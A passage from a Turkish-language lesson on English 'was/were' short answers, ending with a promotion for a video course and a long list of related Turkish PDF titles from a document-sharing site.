kelimelerini bu cümlenin başına getirerek, cümlenin anlamını nasıl değiştirdiğini tahmin etmeye çalışın. Ancak unutmayın ki; soru kelimeleri soru cümlelerinin başında kullanılır. Şimdi de soru cümlelerini öğrenen herkesin bilmesi gereken son derece önemli bir başka noktaya değinelim; Kısa cevaplar. Kısa Cevaplar Bir "was, were" soru cümlesi ile muhatap olduğumuz zaman uzun uzun cevap vermek zorunda değiliz. Bunun yerine kısa cevaplar vermek hem daha kolaydır hem de daha yaygındır. Dolayısıyla "was, were" konusunu öğrenirken, lısa cevaplar konusunu asla es geçmememiz gerekir. Kısa cevapları detaylı bir şekilde incelemeden önce, aşağıdaki Türkçe diyalog örneğini inceleyerek, kısa cevapların ne olduğunu görelim; - O, senin geçen sene ev arkadaşın mıydı? - Evet, öyle. Uzun uzun, "Evet, o benim geçen sen ev arkadaşımdı" dememize gerek yoktur. Bu tür bir cevap da yanlış olmaz ama bu kullanım yaygın değildir. İşte bu tür kullanımların bir benzeri İngilizcede de vardır. Bir "was, were" soru cümlesine kısa cevap verileceği zaman yapılması gereken şey son derece basittir. Eğer vereceğimiz cevap olumlu ise; - Yes, özne + was/were Eğer vereceğimiz cevap olumsuz ise; - No, özne + wasn't/weren't şeklinde cevap veririz. Yukarıdaki örnek diyalogu İngilizceye çevirelim; - Was she your roommate last year? - Yes, she was. özne "she" olduğu için, "was" yardımcı fiilini kullandık. Birde olumsuz bir kısa cevap vereceğimiz diyalog inceleyelim; - Were you single in 2014? - No, I wasn't. Bu cümlede de özne "I" olduğu için "was" yardımcı fiilini kullandık. Sizler de dersimizde geçen soru cümlelerini bulup, o cümlelere örnek kısa cevaplar veriniz. Bu sayede kısa cevapları pekiştirebilirsiniz. - Değerli öğrenciler, "was/were" konusunun bütün detaylarına değinmeye çalıştığımız bu dersimizin sonuna geldik. Değinemediğimiz noktalar, yeterince tekrar edemediğimiz bir takım bilgiler elbette oldu. Ancak dersi belli bir uzunlukta tutmamız gerektiği için çok fazla örnek vermedik ve bazı önemli bilgileri çok fazla tekrar etmedik. Ayrıca yine yazılı derslerin doğası gereği, bu derslerde kelimelerin okunuşlarını ve tonlamalarını da öğretemiyoruz. Bütün bu sebeplerden dolayı bir videolu ingilizce eğitim seti hazırladık. setimizdeki derslerimizde hem önemli bilgileri defalarca tekrar ettik, hem bilgi kutucukları kullandık, hem görseller, ipuçları ile dersi zenginleştirdik. Ayrıca videolu derslerimiz sesli olduğu için videolu dersler sayesinde kelimelerin okunuşları, tonlamaları, vurguları gibi son derece önemli noktaları da öğrettik. Sizler de hem "was/were" konusunu hem de İngilizcenin diğer konularını öğrenmek ve bir daha unutmamak isterseniz, adlı internet sitemize gidebilir ve özenle ve hafıza teknikerine uygun olarak hazırlamış olduğumuz videolara ulaşabilirsiniz. Ayrıca yine adlı internet sitemizde özenle hazırlamış olduğumuz iki tane de kitabımızı da bulabilirsiniz. iyi çalışmalar diler... Share Download Free PDFDownload Free PDFDownload Free PDFAbdualbast AlhallakThis PaperA short summary of this paper34 Full PDFs related to this paperDownloadPDF PackPeople also downloaded these PDFsPeople also downloaded these free PDFsPeople also downloaded these free PDFsNesne Yönelimli Programlama Temelleriby Adem TokmakDownload Free PDFView PDFTÜRKÇE MÜFREDAT PROGRAMI 6-8. SINIFLAR [YAZARLAR KOMİSYON]by Ünal ZalDownload Free PDFView PDFEĞİTİM KÜRESEL PİYASAYA TESLİM -llby Ayse SchneiderDownload Free PDFView PDFÖğrenme Stratejileri Öğretiminin Yürütücü Biliş Bilgisine, Yürütücü Biliş Becerilerini Kullanmaya ve Başarıya Etkisiby Muhittin ÇalışkanDownload Free PDFView PDFKapak Levent Gülerby eren demirciDownload Free PDFView PDFLanguage and Discourse in Mathematicsby Recai AkkusDownload Free PDFView PDFPython turkce e kitapby talat ozalpDownload Free PDFView PDFYazma Sanatı - Stephen Kingby seren camDownload Free PDFView PDFStephen King -Yazma Sanatı Kitaplarby Şirin ÖtenDownload Free PDFView PDFRELATED PAPERSTürkçede görünüş ve zaman morfemleriby Gülbahar KarakaşDownload Free PDFView PDFEğitim Dergisi Türkiye'de Yabancı Dil Eğitiminde Etik İlkeler, Yaklaşımlar, Sorunlar ve Çözüm Önerileriby Dr. Muhsin ÖnalDownload Free PDFView PDFA1 DERS KITABIby Unlukoc BasakDownload Free PDFView PDFTurkceby Lawen LawenDownload Free PDFView PDFWE ARE LEARNING TURKISH - TÜRKÇE ÖĞRENİYORUZ - VOLUME 4by Bekircan TahbererDownload Free PDFView PDFFARKLI MATEMATİKSEL GÜCE SAHİP İLKÖĞRETİM 6, 7 VE 8. SINIF ÖĞRENCİLERİNİN MATEMATİKSEL DÜŞÜNME VE BİLGİYİ OLUŞTURMA SÜREÇLERİNİN İNCELENMESİby Onur ToprakDownload Free PDFView PDFMUZAFFER İZGÜ ÖYKÜLERİNDEKİ SÖYLEM BİÇEMİNİN YABANCI DİL OLARAK TÜRKÇE ÖĞRETİMİNE UYGUNLUĞUby Öykü MercanDownload Free PDFView PDFEsrar’lı Coşkun Sosyolojik Tahlillerby Faruk ArslanDownload Free PDFView PDFSTANLEY KUBRİCK VE MİLİTARİZMby Seren BakırDownload Free PDFView PDFNominal Felsefeci Alparslan Açıkgenç'e Cevapby Neşet TOKUDownload Free PDFView PDFHaluk Tatar Zafer Sizlanarak Kazanilmaz20190807 52816 1vyxm6oby Özgür YıldırımDownload Free PDFView PDFSEVGİ SOYSAL’IN ÖYKÜLERİNİN II. KADEME ÖĞRENCİLERİNİN TÜRKÇE EĞİTİMİNE KATKISI BAKIMINDAN Bünyamin SARIKAYADownload Free PDFView PDF10. SINIF OSMANLI TÜRKÇESİ DERS KİTABININ OKUMA VE YAZMA ETKİNLİKLERİ ÜZERİNE BİR İNCELEMEby Mehmet Vehbi BükerDownload Free PDFView PDFSinemanın Ekonomi Politiği 2016 Yılı Verileri Üzerine Bir Değerlendirmeby çağrı yılmaz and Nursen AydınDownload Free PDFView PDFTürkçede Zarf-Fiillerin Görünüş Değerleri Aspect values of Converbs in Turkishby İbrahim Ahmet AydemirDownload Free PDFView PDFKöpek Dişi ya da "Mülklerin En Tehlikelisi" olarak Dilby güven özdoyranDownload Free PDFView PDFBir Anlatma Vaadi Senaryoby Hakan AytekinDownload Free PDFView PDFReklamlarda Toplumsal Sınıf Otomobil Reklamları Üzerinden Bir Söylem Analiziby süheyla ayvazDownload Free PDFView PDFBlm111 Ders Notuby Melike AdmışDownload Free PDFView PDF+CA EKİ, SIFATIN ANLAMINI GÜÇLENDİRİR Mİ?by Sedat BalyemezDownload Free PDFView PDFMOVET – Mesleki Eğitim ve Öğretim İçin film Yapımı Film-yapımı el kitabıby Sabri ÇetinDownload Free PDFView PDF3. Genç Yazarlar Kurultayıby Enes DağDownload Free PDFView PDFPost-ist Sinema 2014-2016 Sinema Yazılarıby Kerem DuymusDownload Free PDFView PDFTENKİD MISIR'A GİDEN GEMİYE RADOVİŞTE'DE KÖMÜR İKMALİ YAPTIRMAKby Mehmet Ali BeyhanDownload Free PDFView PDFNotlar 25 - Yayınevleri ve Yayıncılık Üzerine Sohbetlerby Bilim ve Sanat Vakfı BİSAVDownload Free PDFView PDF9. SINIFby Mustafa SöylemezDownload Free PDFView PDFGÜNLÜK YAŞAMIN PSİKOPATOLOJİSİby elif yıldırımDownload Free PDFView PDFYABANCI DİL OLARAK TÜRKÇE ÖĞRETİMİNDE OKUDUĞUNU ANLAMA BECERİSİNİN KAVRAM HARİTASI ARACILIĞIYLA GELİŞTİRİLMESİ BİR EYLEM ARAŞTIRMASIby Ferdi BülbülDownload Free PDFView PDFPAHA BİÇİLEMEZ İSTANBUL BELGESELİ İKİNCİ VE BEŞİNCİ BÖLÜM FRANSIZCA ALTYAZI UYGULAMASIby Umut KardaşDownload Free PDFView PDFYBS Ansiklopedi Eylül 2016, Cilt 3, Sayı 3by Sadi Evren SEKERDownload Free PDFView PDFAlice Munro Nefret Arkadaşlık Flört Aşk Evlilik Can Yayınlarıby Ceren CengizDownload Free PDFView PDFTÜRKİYE’NİN ÖTEKİSİ’Nİ HABER METİNLERİNDE ARAMAK ROMANLAR’ ÖRNEĞİby Ayşe Nur Dağlı AsaDownload Free PDFView PDFAhmet Şerif İzgören Moks Başarıya Giden Yolby Mehmet Kemal MemişDownload Free PDFView PDFÖzsevgeç, T. vd. 2015. Ortaokul Fen Bilimleri 6. Sınıf Ders Kitabı, Milli Eğitim Bakanlığı, Tuncay ÖZSEVGEÇDownload Free PDFView PDFSöze Başlamak Daima Zordur -İlhan Başgöz'le Söyleşiby Serpil Aygun Cengiz and Meryem karagözDownload Free PDFView PDFFRAKTAL EDEBİYAT-DÜŞÜNCE DERGİSİ 1. SAYISIby FRAKTAL EDEBİYAT-DÜŞÜNCE DERGİSİDownload Free PDFView DİL VE ANLATIM DERS NOTLARIby ahmet yılmazDownload Free PDFView PDFBRECHT ESTETİĞİ VE TÜRK SİNEMASINDAKİ ÖRNEKLERİ - Asya Çağlar Öztürkby Philoarte LibraryDownload Free PDFView PDFTürkiye'de Yayıncılık Üzerine Sohbetlerby Serhat AslanerDownload Free PDFView PDFTEKSTİL ÜRÜNLERİNİN REKLAMLARINDA ÜNLÜ KULLANIMININ MARKA İMAJINA ETKİSİby Beyzanur DeğirmenciDownload Free PDFView PDFSahnenin Dışındakiler ’i Tamamlamak Ahmet Hamdi Tanpınar ve Kurtuluş Savaşı Anlatıları Türü / Erol Köroğlu - bilig 66. Sayı – Yaz 2013by bilig Türk Dünyası Sosyal Bilimler DergisiDownload Free PDFView PDF

was were konu anlatımı pdf